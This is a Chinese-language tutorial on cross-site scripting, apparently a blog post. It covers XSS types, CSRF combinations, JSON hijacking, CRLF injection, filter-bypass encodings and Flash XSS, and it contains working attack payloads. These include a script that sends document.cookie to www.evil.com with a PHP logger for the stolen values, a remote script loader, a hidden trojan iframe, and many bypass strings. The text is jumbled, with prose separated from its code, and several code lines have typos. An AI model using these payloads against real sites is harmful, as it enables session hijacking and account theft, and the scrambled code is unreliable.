跨站脚本攻击,英文全称Cross Site Script.
xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.
网站对用户的输入不加以处理,直接输入到页面,就有可能造成xss.
比如下例:
$input = $_GET['parm'];
echo $input;
?>
若用户输入 就可以在页面弹窗
标签内的xss 事件中的xss css里面的xss IE5及其以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞: @import和link方式都可以轻松地导入外部含有XSS代码的样式表文件: @import还有一个特性,就是能直接执行JavaScript代码: Script标签 xss根据效果不同,分成以下几类 反射型xss 用户的输入,最终会由浏览器反馈给用户 如 后端页面: 数据由服务端处理,传回来,最终又反馈到浏览器 反射型xss利用通常需要黑客诱导用户点击恶意链接等. 储存型xss 储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害. 比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言. 所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码 Dom型xss Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面 比如: xss窃取cookie 这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie 也可以在服务器接收 可以利用cookie进行访问网站 会话劫持SESSION xss让管理员添加用户等(构造POST请求,AJAX等) 获取webshell:利用管理员权限写一句话木马等 xss构造GET请求 比如搜狐网站删除某文章的链接是: http://blog.sohu.com/manage/entry.do?m=delete&d=156713012 即成功构造了GET请求 xss构造POST请求 构造表单的方式 直接写HTML代码 XMLHttpRequest()等 xss钓鱼攻击 网页挂马 DOS和DDOS 识别用户浏览器,操作系统,安装软件 xss Worm 比如某个网站转账功能: 这时候精心构造链接: http://www.a.com/transfer.php?toBankId=99&money=1000 链接发送给受害者即可转账. 如果该网站某处还有xss或者第三方网站上有xss,就不必可以诱导别人点上面的链接 JSON(JavaScript Object Notation)是Web应用中最常见的信息传输格式,和XML一样,JSON是存储和交换文本信息的一种语法。 其格式表示为“名/值对”,如下所示: “name” : “John” 值可以是以下数据类型: 数字(整数或浮点数); 字符串(在双引号中);逻辑值(true 或 false);数组(在方括号中);对象(在花括号中);NULL; 由于JSON在语法上是JavaScript的子集合,所以一般可以使用eval()作为读取数据的方式,但是eval()方法非常不安全: 如构造: JSON格式: 其他用户打开该页面将受到攻击 在Web应用中,通过Ajax技术处理JSON数据的方式被称作“回调法” 当JSON数据文件被加载完成后都会调用一个特别函数,该函数以JSON数据作为参数。这种回调法被广泛地应用在第三方JSON数据处理中。 某些服务能让用户指定调用函数的名字,但用户可以通过URL改变该函数名,具体如下所示: http://www.a.com/feed.php?format=JSON&callback=processJSON 比如用下面的函数处理 若恶意构造JSON 数据 即可弹出xss HTTP响应拆分(HTTP Response Splitting,HRS)也被称作CRLF注射攻击(CRLF Injection Attack),是指浏览器用户能随意地添加额外的HTTP 报头信息到 HTTP数据包中,然后通过自定义HTTP头创造任意的内容并返回用户浏览器中 HTTP Header的定义基于Key: Value的结构,并且每一行由“\r\n”或者“CR”和“LF”分割。这就意味着,当用户提交包含“\r\n”的数据时,如果Web服务器和应用程序没有进行过滤而直接返回给 HTTP Headers,那么攻击者就可以任意设置一些特殊的 HTTP 头,或者直接修改 HTTP Response的内容。 假设有如下一段脚本代码: 正常请求: http://www.test.com/demo.aspx?text=test会用text来设置cookie[“username”] 恶意请求: http://www.test.com/demo.aspx?text=a%0D%0ASet-Cookie%3A%20HackedCookie=Hacked 除了设置cookie[“username”]=a,还会设置cookie[“HackedCookie”] = Hacked 注入入HTML/JavaScript: 过滤了javascript,用html实体编码和url双重编码绕过(先html编码再url) 伪协议绕过: 支持伪协议的属性 document.write(payload) payload进行Unicode编码可以绕过某些过滤 setTimeout()函数 setTimeout(jscode) 会执行里面的js代码 或者top()函数 对网站过滤: 公网ip->十进制绕过 127.0.0.1-> 2130706433 利用空格、回车和Tab键绕过限制 如: 引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript 会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。 对标签属性值转码(标签内) HTML中属性值本身支持ASCII码形式。 根据HTML的属性值支持ASCII码的特性,把XSS代码: t–>ascii码 是 116–> t / 都是一样的 :–>ascii码 是58 --> : 还可以把、等字符插入到JavaScript或Vbscript的头部,另外,Tab符的ASCII码 、换行符的
、回车符的
可以被插入到代码中任意地方。 全角字符 IMG标记和 src属性之间没有空格 此段代码在 IE 6中能成功执行 /**/ 样式表中的/**/会被浏览器忽略,因此可以运用它来注释字符,通过插入混淆字符绕过过滤 \ 和 \0 样式标签中的\和结束符\0也是被浏览器忽略的 @\0im\port’\0ja\vasc\ript:alert(“xss”)’; eval()函数 该函数可计算字符串,并执行其中的JavaScript代码 配合16进制 我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本; 如对alert(‘XSS’)进行十六进制转码后得到:\61\6c\65\72\74\28\27\58\53\53\27\29 配合10进制: eval()也可以执行 10 进制形式的脚本,但需要配合 String.fromCharCode()函数使用。 string.formcharcode()用于将字符转为ASCII值 例如一个正常形式的XSS示例为: 结合使用eval()和String.fromCharCode()函数后变成: 样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释 style属性中的javascript、expression等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤 JScript Encode(IE) 如 alert(1)使用 JScript Encode加密的结果为: 著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的XSS利用技巧,就是当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。 幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是剑心就巧妙地构造出以下Expliot: js无法读取有HttpOnly标记的Cookie的值 一个Cookie的使用过程如下: HttpOnly 在Set-Cookie时标记 location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用location.href=url就可以直接将页面重定向URL 而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的 location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。 无效的标签并不会影响页面加载 示例: substr()可在字符串中抽取从 start 下标(这里是 1 )开始的指定数目的字符,所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert(‘xss’); 而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码 那么,eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。 打造一个XSS downloader(XSS下载器),事先把Shellcode写在网站的某个页面,再利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据 如: Adobe Flash是一种交互式矢量多媒体技术,被广泛使用在Web网站中. 游戏和视频播放使用尤为多 Flash Player 与SWF: SWF(Shock Wave Flash)是 Flash的专用格式,使用Flash Player便能运行SWF文件, SWF文件也可以直接嵌入到网页中执行 在HTML页面中嵌入Flash,一般使用 这种方式需使用W3C规范中标准的object元素。 url:String:从该处获取文档的URL window:String [可选]:指定应将文档加载到其中的窗口或HTML帧,您可输入特定窗口的名称,或从下面的保留 _self 指定当前窗口中的当前帧 method:String [可选]:用于发送变量的GET或POST方法,如果没有变量则省略此参数 使用getURL()可以使页面重定向到函数指定的页面 : getURL(“http://www.a.com”); 若test.com下的一个1.swf内有getURL(test,"_top") 如下可触发XSS http://www.test.com?a=javascript:alert(document.cookie) getURL(javascript:code, ‘_self’) 一篇不错的Flash xss总结: https://www.secpulse.com/archives/44299.html 书籍推荐:XSS跨站脚本攻击剖析与防御 xss专家博客: https://brutelogic.com.br/blog/ AttackApi: https://www.gnucitizen.org/blog/attackapi/ (利用: https://blog.csdn.net/agent_peakey/article/details/44819477 ) BeEF: https://github.com/beefproject/beef/wiki ( 简单使用:https://www.cnblogs.com/zcz1995/articles/10817949.html ) (高级利用: https://www.freebuf.com/articles/web/175755.html ) xss挑战wp https://blog.csdn.net/tutucoo/article/details/104151403 chrome插件漏洞造成的 exifviewer xss: http://blog.sina.com.cn/s/blog_722cb9a90102wl2c.html 一个师傅的靶场,独孤九剑: [wp] https://422926799.github.io/posts/6bcf9b8f.html 事件型的跨站脚本: onResume ; onReverse ; onRowDelete; onRowInserted; onSeek; onSynchRestored; onTimeError onTrackChange; onURLFlip; onRepeat; onMediaComplete; onMediaError; onPause; onProgress; onOutOfSync; oncontrolselect; onlayoutcomplete; onafterprint; onbeforeprint; ondataavailable; ondatasetchanged; ondatasetcomplete; onerrorupdate; onrowenter; onrowexit; onrowsdelete; onrowsinserted; onselectionchange; onbounce; onfinish ; onstop ; onresizeend
${xss}:javascript:alert(/xss/)
"#" style="xss:expression(alert(/XSS/));">
"stylesheet" href="http://www.evil.com/attack.css">
<script>
var username = "$username";
</script>
$username=1" alert(/xss/);//
输入的单引号/双引号被转义 标签内进行突破
oninput=alert(1) //
onchange=alert(1)//
1.3分类
http://www.test.com?xs=
$input = $_GET['xs'];
echo $input;
?>
<script>
function test()(
var str = document.getElementById("text").value;
document.getElementById("x").innerHTML = str;
)
script>
<html>
<input type="text" id="text" value=""/>
<div id="x">
a
div>
html>
2.xss攻击
2.1 利用方式
http://www.test.com?xss=
var img = document.createElement("img");
imr.src = "http://www.evil.com?"+escape(document.cookie);
<!--escape对字符进行编码-->
document.body.appendChild(img);
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?
var img = document.createElement("img");
imr.src = " http://blog.sohu.com/manage/entry.do?m=delete&d=156713012";
document.body.appendChild(img);
var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");
i1.name = "ck";
i1.value = "JiUY";
f. appendchild(i1) :
var i2. document.createElement ("input");
i2.name = "mb_text";
i2.value = "testtesttest";
f. appendChild(i2);
f.submit();
var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = 'payloadForm(id=xssform)'
doocument.getElementById("xssform").submit();
<iframe src=http://www.evil.com/trojan.html width=0 height=0>iframe>
<script>for (;;) alert("XSS"); </script>
<meta http-equiv="refresh" content="0">
2.2 较高级的利用姿势
2.2.1 CSRF+XSS组合拳
<form action="transfer.php" method="GET">
账号:<input type="text" name="toBankId" /></br>
金额:<input type="text" name="money" /></br>
<input type="submit" value="提交" />
</form>
2.2.2 Hacking JSON
JSON概述
var myJSON ={ "firstName" :"John",
"lastName" :"Doe"};
document.writeln(myJSON.firstName); // 输出John
document.writeln(myJSON.lastName); // 输出Doe
var employees = [
{ "firstName":"Bill" , "lastName":"Gates" },
{ "firstName":"George" , "lastName":"Bush" },
{ "firstName":"Thomas" , "lastName": "Carter" }
];
employees[0].lastName;//返回Gates
跨域JSON注入
name:
提交给服务器var userInfo = {"name":"$name"};
<div class="code">
<pre><script>
function profileCallback(result) {
document.write(result.profile[0].name);
document.write("
");
document.write(result.profile[0].email);
}
profileCallback({"profile":[{"name":"Jack","email":""}]})
JSON Hijacking
2.2.3 HTTP Response Splitting
<%
nameValueCollection request = Request.QueryString;
Response.Cookies["userName"].Value = request["text"];
%>
http://www.test.com/page.php?page=
Content-Type: text/html
HTTP/1.1 200
OK
Content-Type: text/html
Hacker Content
3. xss攻防
3.1 xss Bypass
3.1.1 杂七杂八的绕过
link
输入的单引号/双引号被转义 标签内进行突破
oninput=alert(1) //
onchange=alert(1)//
输入value; 过滤on 和script
">click
href
,lowsrc
,bgsound
,background
,action
,dynsr
top["document"]["write"]
替换成:
<img/src="mars.png"alt="mars">
<img/src="javascript:alert('XSS');">
@\i\0m\00p\000o\0000\00000r\000000t"url";
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
#@^CAAAAA==C^+.D`8#mgIAAA==^#@
经XSS Expliot后变为:<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
<iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
3.1.2 跨站拆分法绕过长度限制
当时剑心发现某个网站存在 XSS 漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个对话框。
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'')
3.2 xss防御
Step1:浏览器向服务器发起请求,这时候没有Cookie。
Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
4. Shellcode的调用
4.1动态调用远程 JavaScript
<
var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);
4.2 使用window.location.hash
http://www.bug.com/veiw.php?sort="><script>eval(location.hash.subst
r(1))</script>#alert('xss')
4.3 XSS Downloader
onload="var t=document.body.
innerHTML;var s=t.indexOf(’+++’)+3;var e=t.indexOf(’---’);eval(unescape(t.substring
(s,e)));">
indexOf()函数计算BOF(+++)和EOF(---)的位置,再用substring()函数方法取出字符串,最后用unescape()函数方法解码执行。
别处存有+++ xss ---
4.4 一些别的储存技术
5 Flash 安全
5.1 Flash 简介
5.2 Flash的嵌入
和
标签。
<html>
<body marginwidth="0" marginheight="0">
<embed width="100%" height="100%" name="plugin" src="test.swf" type="application/x-shockwave-flash"/>
body>
html>
标签用于引入对象,比如图像、音频、视频、Java Applets、ActiveX、PDF以及 Flash,用于 IE系列或者其他支持Activex控件的浏览器。
<html>
<body marginwidth="0" marginheight="0">
<object width="100%" height="100%" data="test.swf" type="application/x-shockwave-flash">
<param name="src" value="test.swf" />
<param name="quality" value="high" />
object>
body>
html>
5.3 getURL() & XSS
getURL(url:String, [window:String, [method:String]]) : Void
目标名称中选择:
_blank 指定一个新窗口
_parent 指定当前帧的父级
_top指定当前窗口中的顶级帧
getURL(“javascript:alert(document.cookie)”);6.xss工具
7.xss资源
跨站点脚本(XSS)速查表: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet